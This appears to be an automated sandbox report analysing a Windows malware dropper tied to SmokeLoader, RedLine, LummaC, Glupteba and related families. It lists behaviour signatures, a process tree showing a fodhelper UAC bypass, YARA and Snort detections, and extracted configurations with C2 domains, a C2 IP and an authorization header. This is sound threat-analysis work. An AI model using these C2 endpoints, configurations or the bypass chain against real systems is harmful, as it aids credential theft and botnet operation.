Edit tour

Windows Analysis Report
3yPvcmrbqS.exe

Overview

General Information

Sample name:	3yPvcmrbqS.exe renamed because original name is a hash value
Original sample name:	2a51b5604558e19c4e2e1be37212624a.exe
Analysis ID:	1364886
MD5:	2a51b5604558e19c4e2e1be37212624a
SHA1:	3b052e269bff93d66df458aa7ad69b31a7a9f970
SHA256:	a9a6fd53900ff9b7cfe5338a0eb12614db6313f34c0c08612b20c7ad0fcb5464
Tags:	exeLummaStealer
Infos:

Detection

Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

UAC bypass detected (Fodhelper)

Yara detected Glupteba

Yara detected LummaC Stealer

Yara detected Petite Virus

Yara detected RedLine Stealer

Yara detected SmokeLoader

Yara detected Socks5Systemz

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Connects to many ports of the same IP (likely port scanning)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Drops PE files with benign system names

Found C&C like URL pattern

Found Tor onion address

Found evasive API chain (may stop execution after checking computer name)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Hides threads from debuggers

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

May use the Tor software to hide its network traffic

PE file contains section with special chars

PE file has nameless sections

Probes for web service weaknesses (weak passwords or vulnerabilities)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Send many emails (e-Mail Spam)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to resolve many domain names, but no domain seems valid

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Connects to several IPs in different countries

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses FTP

Uses Microsoft's Enhanced Cryptographic Provider

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

3yPvcmrbqS.exe (PID: 6788 cmdline: C:\Users\user\Desktop\3yPvcmrbqS.exe MD5: 2A51B5604558E19C4E2E1BE37212624A)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

uiedafw (PID: 6092 cmdline: C:\Users\user\AppData\Roaming\uiedafw MD5: 2A51B5604558E19C4E2E1BE37212624A)

5316.exe (PID: 5756 cmdline: C:\Users\user\AppData\Local\Temp\5316.exe MD5: F5404C44B8FB624AD16068D23D269886)

5316.exe (PID: 5840 cmdline: C:\Users\user\AppData\Local\Temp\5316.exe MD5: F5404C44B8FB624AD16068D23D269886)

5828.exe (PID: 2840 cmdline: C:\Users\user\AppData\Local\Temp\5828.exe MD5: 8A101714BBA78B3C92ADA03B154F84D2)

conhost.exe (PID: 2896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regsvr32.exe (PID: 6992 cmdline: regsvr32 /s C:\Users\user\AppData\Local\Temp\5D69.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

regsvr32.exe (PID: 7096 cmdline: /s C:\Users\user\AppData\Local\Temp\5D69.dll MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

7017.exe (PID: 6576 cmdline: C:\Users\user\AppData\Local\Temp\7017.exe MD5: 033576B4B54E5CB69EC8491FF6624C9F)

7017.exe (PID: 6128 cmdline: C:\Users\user\AppData\Local\Temp\7017.exe MD5: 033576B4B54E5CB69EC8491FF6624C9F)

7B24.exe (PID: 2108 cmdline: C:\Users\user\AppData\Local\Temp\7B24.exe MD5: FF7E1DEFD1F9959083B9C33F8D8F6C6B)

csrss.exe (PID: 3052 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: F5404C44B8FB624AD16068D23D269886)

csrss.exe (PID: 1668 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: F5404C44B8FB624AD16068D23D269886)

8900.exe (PID: 4464 cmdline: C:\Users\user\AppData\Local\Temp\8900.exe MD5: 3AD72889435079840AE0E810381DDBDB)

A0FE.exe (PID: 6092 cmdline: C:\Users\user\AppData\Local\Temp\A0FE.exe MD5: D477E6905C6A98305C825E88FA656C8A)

cmd.exe (PID: 3096 cmdline: C:\Windows\Sysnative\cmd.exe /C fodhelper MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fodhelper.exe (PID: 4992 cmdline: fodhelper MD5: 85018BE1FD913656BC9FF541F017EACD)

fodhelper.exe (PID: 5368 cmdline: "C:\Windows\system32\fodhelper.exe" MD5: 85018BE1FD913656BC9FF541F017EACD)

fodhelper.exe (PID: 2256 cmdline: "C:\Windows\system32\fodhelper.exe" MD5: 85018BE1FD913656BC9FF541F017EACD)

A0FE.exe (PID: 4924 cmdline: "C:\Users\user\AppData\Local\Temp\A0FE.exe" MD5: D477E6905C6A98305C825E88FA656C8A)

powershell.exe (PID: 5064 cmdline: powershell -nologo -noprofile MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 6120 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6092 -s 664 MD5: C31336C1EFC2CCB44B4326EA793040F2)

csrss.exe (PID: 4336 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: F5404C44B8FB624AD16068D23D269886)

csrss.exe (PID: 3720 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: F5404C44B8FB624AD16068D23D269886)

B6AA.exe (PID: 3756 cmdline: C:\Users\user\AppData\Local\Temp\B6AA.exe MD5: C2B6C632180189246A69B5CCD44F39BE)

B6AA.tmp (PID: 6992 cmdline: "C:\Users\user\AppData\Local\Temp\is-VIH3T.tmp\B6AA.tmp" /SL5="$5046A,6713741,54272,C:\Users\user\AppData\Local\Temp\B6AA.exe" MD5: DC768C91E97B42F218028EFA028C41CC)

B6AA.exe (PID: 2180 cmdline: "C:\Users\user\AppData\Local\Temp\B6AA.exe" /SPAWNWND=$2047A /NOTIFYWND=$5046A MD5: C2B6C632180189246A69B5CCD44F39BE)

B6AA.tmp (PID: 2848 cmdline: "C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp" /SL5="$A0252,6713741,54272,C:\Users\user\AppData\Local\Temp\B6AA.exe" /SPAWNWND=$2047A /NOTIFYWND=$5046A MD5: DC768C91E97B42F218028EFA028C41CC)

net.exe (PID: 3612 cmdline: "C:\Windows\system32\net.exe" helpmsg 19 MD5: 31890A7DE89936F922D44D677F681A7F)

conhost.exe (PID: 3904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net1.exe (PID: 4020 cmdline: C:\Windows\system32\net1 helpmsg 19 MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

VBPlayerLIB.exe (PID: 5776 cmdline: "C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe" -i MD5: 025F0305F33F6C3E7F55217194C451AE)

VBPlayerLIB.exe (PID: 5020 cmdline: "C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe" -s MD5: 025F0305F33F6C3E7F55217194C451AE)

explorer.exe (PID: 1748 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 6936 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

svchost.exe (PID: 984 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 3068 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 6092 -ip 6092 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Glupteba	Glupteba is a trojan horse malware that is one of the top ten malware variants of 2021. After infecting a system, the Glupteba malware can be used to deliver additional malware, steal user authentication information, and enroll the infected system in a cryptomining botnet.	No Attribution	http://resources.infosecinstitute.com/tdss4-part-1/ https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/ https://blog.google/technology/safety-security/new-action-combat-cyber-crime/ https://blog.google/threat-analysis-group/disrupting-glupteba-operation/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/ https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: LummaC

{"C2 url": ["breakfastchanneljw.fun", "dayfarrichjwclik.fun", "neighborhoodfeelsa.fun", "ratefacilityframw.fun", "reviveincapablewew.pw", "cakecoldsplurgrewe.pw", "opposesicknessopw.pw", "politefrightenpowoa.pw"], "Build id": "NmLpQW--spam2"}

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://snukerukeutit.org/", "http://lightseinsteniki.org/", "http://tyiuiunuewqy.org/", "http://liuliuoumumy.org/", "http://tonimiuyaytre.org/"]}

Threatname: RedLine

{"C2 url": "38.47.221.193:34368", "Bot Id": "1219-55000", "Authorization Header": "f09d04c6ceae2e1f2781449bf84a9f8f"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-96K1P.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-SKTK6.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HVAMB.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-KNVFD.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-M56K9.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JFGB9.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-P8UR3.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HDCA4.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.1950416948.0000000002530000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.1708356846.00000000026D9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5f91:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000003.2153285956.0000000002540000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.1950511447.0000000002569000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5ca1:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000002.2213288455.00000000025B8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5e2f:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1708217847.0000000002571000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1708217847.0000000002571000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000003.00000003.1898272817.0000000002540000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000027.00000003.2334018641.0000000005522000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000010.00000002.2213071165.0000000002540000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000010.00000002.2213071165.0000000002540000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x674:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000012.00000003.2188506230.0000000005632000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000027.00000002.2379204850.00000000047F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.1708132501.0000000002530000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1708132501.0000000002530000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000027.00000002.2379204850.0000000004C33000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000013.00000002.2213503303.0000000002C00000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1950432948.0000000002540000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.1950432948.0000000002540000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000E.00000002.2109723566.0000000002C00000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000027.00000002.2374217277.0000000000843000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000028.00000002.4123905008.0000000002CE1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
00000006.00000002.1991930562.0000000002804000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1950608499.0000000004001000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.1950608499.0000000004001000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000010.00000002.2213042796.0000000002530000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.1643511590.0000000002530000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000D.00000002.2378126043.0000000000EB2000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.2332380214.0000000000843000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000010.00000002.2213159990.0000000002561000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000010.00000002.2213159990.0000000002561000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x274:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000028.00000002.4123472721.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
00000027.00000002.2377973035.00000000043F4000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000012.00000002.2341972204.0000000004D43000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1708118222.0000000002520000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000012.00000002.2341972204.0000000004900000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000D.00000002.2386114986.0000000003F64000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.2341502680.0000000004507000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Process Memory Space: 5828.exe PID: 2840	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 36 entries

Unpacked PEs

Source	Rule	Description	Author
16.3.8900.exe.2540000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.3yPvcmrbqS.exe.2520e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
3.3.uiedafw.2540000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.2.8900.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
3.2.uiedafw.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.3yPvcmrbqS.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
8.2.5828.exe.730000.1.unpack	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
13.2.7B24.exe.eb0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
3.2.uiedafw.2530e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.3.3yPvcmrbqS.exe.2530000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.2.8900.exe.2530e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
8.2.5828.exe.400000.0.unpack	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
18.3.A0FE.exe.51f0000.0.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
39.2.A0FE.exe.400000.7.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
18.2.A0FE.exe.400000.7.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
39.3.A0FE.exe.50e0000.1.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
18.2.A0FE.exe.4900e67.13.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
39.2.A0FE.exe.47f0e67.11.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
Click to see the 13 entries

Snort Signatures

ETPRO TROJAN Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 104.21.81.99

Timestamp:	192.168.2.4104.21.81.9949741802855505 12/20/23-03:12:29.512815
SID:	2855505
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 34.94.245.237 - Destination IP: 192.168.2.4

Timestamp:	34.94.245.237192.168.2.480497342037771 12/20/23-03:12:18.362072
SID:	2037771
Source Port:	80
Destination Port:	49734
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 34.143.166.163 - Destination IP: 192.168.2.4

Timestamp:	34.143.166.163192.168.2.480497362037771 12/20/23-03:12:20.655171
SID:	2037771
Source Port:	80
Destination Port:	49736
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 104.21.80.57

Timestamp:	192.168.2.4104.21.80.5749742802855505 12/20/23-03:12:30.320746
SID:	2855505
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst - Source IP: 104.198.2.251 - Destination IP: 192.168.2.4

Timestamp:	104.198.2.251192.168.2.480497352037771 12/20/23-03:12:19.084006
SID:	2037771
Source Port:	80
Destination Port:	49735
Protocol:	TCP
Classtype:	A Network Trojan was detected

FTP traffic detected: 192.185.100.42:21 -> 192.168.2.4:51477 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 150 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 150 allowed.220-Local time is now 21:13. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 150 allowed.220-Local time is now 21:13. Server port: 21.220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 150 allowed.220-Local time is now 21:13. Server port: 21.220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: global traffic	TCP traffic: 192.168.2.4:59362 -> 173.203.187.1:587
Source: global traffic	TCP traffic: 192.168.2.4:60971 -> 212.227.15.41:587
Source: global traffic	TCP traffic: 192.168.2.4:61240 -> 198.54.122.240:587
Source: global traffic	TCP traffic: 192.168.2.4:61893 -> 162.255.118.51:587
Source: global traffic	TCP traffic: 192.168.2.4:61969 -> 217.72.192.67:587
Source: global traffic	TCP traffic: 192.168.2.4:62078 -> 188.165.47.122:587
Source: global traffic	TCP traffic: 192.168.2.4:64791 -> 212.159.9.200:587
Source: global traffic	TCP traffic: 192.168.2.4:65074 -> 15.197.142.173:587
Source: global traffic	TCP traffic: 192.168.2.4:65115 -> 3.94.41.167:587
Source: global traffic	TCP traffic: 192.168.2.4:65116 -> 13.248.169.48:587
Source: global traffic	TCP traffic: 192.168.2.4:65161 -> 148.163.129.51:587
Source: global traffic	TCP traffic: 192.168.2.4:65168 -> 185.103.16.167:587
Source: global traffic	TCP traffic: 192.168.2.4:65199 -> 44.229.66.233:587
Source: global traffic	TCP traffic: 192.168.2.4:65326 -> 66.96.140.165:587
Source: global traffic	TCP traffic: 192.168.2.4:65400 -> 104.47.71.138:587
Source: global traffic	TCP traffic: 192.168.2.4:65404 -> 104.47.73.138:587
Source: global traffic	TCP traffic: 192.168.2.4:65500 -> 104.47.75.164:587
Source: global traffic	TCP traffic: 192.168.2.4:65517 -> 185.53.56.44:587
Source: global traffic	TCP traffic: 192.168.2.4:49195 -> 104.47.59.138:587
Source: global traffic	TCP traffic: 192.168.2.4:49225 -> 104.47.75.228:587
